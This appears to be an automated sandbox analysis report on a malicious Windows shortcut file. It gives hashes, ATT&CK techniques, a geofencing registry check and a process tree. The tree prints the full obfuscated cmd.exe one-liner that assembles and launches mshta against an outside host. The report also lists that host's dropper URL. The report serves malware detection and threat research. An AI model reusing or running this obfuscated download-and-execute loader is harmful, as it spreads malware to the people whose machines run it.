eb11a4455c66d2735d6a9a89d33797557300a97b96c632a4d9612c64ab20a45c

Analysis

max time kernel
58s
max time network
56s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
18/08/2026, 04:31

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General

Target
DOC-5EPAID.lnk
Size 2KB
Sample260818-e5va6aej51
SHA256 eb11a4455c66d2735d6a9a89d33797557300a97b96c632a4d9612c64ab20a45c
MD5 3b210082b48a72606770a9e88248ba2f
SHA1 5bb21f46d4b8dab242f112dfafb0fa74cabb268a
SHA512 a8181871a52d759ee58e075b01d07dca421ee5f8058a4dee89ab9a5a6a485fff644de78d9e74aedfcef62a37cc7f570e3b0ca02cf4df10b7eae97eed10f39fc5
TLSH
T15A4148543EED05D8F3FB8E72ECFA1711497BB8855C21C65D0851820E2822B45E9B3B27
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4508	cmd.exe
2980	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4508 wrote to memory of 2980	4508	cmd.exe	86
PID 2980 wrote to memory of 1836	2980	cmd.exe	87

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-5EPAID.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4508
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D /v:on /c "set TiDv=cachebevpkfdfxqovcache&set fmo=logxiwpsloheahhdlog&set cBO=tmphodgbkivhtmp&set Iw=netynndwlhdycdgractmnet&set nHw=wintccjwin&set KKl=sysunzledvicftrdpmsys&set EFxtJ=eymuid&&set eI=ylsl29&&set ttzFS=9dhtaok&set pCnk=dataavvrertedat&set gljW=u0stb&&set lKnk=eartvd&&set RuGS=ht@tps@:@/@/ma@-pdf@fil@[email protected]/h/@estag@io1.@php?@r=3@9@1@469F@B@5D@82@D@B&&start /b !EFxtJ:~2,1!!eI:~2,1!!ttzFS:~2,3! !RuGS:@=!"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2980
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:1836

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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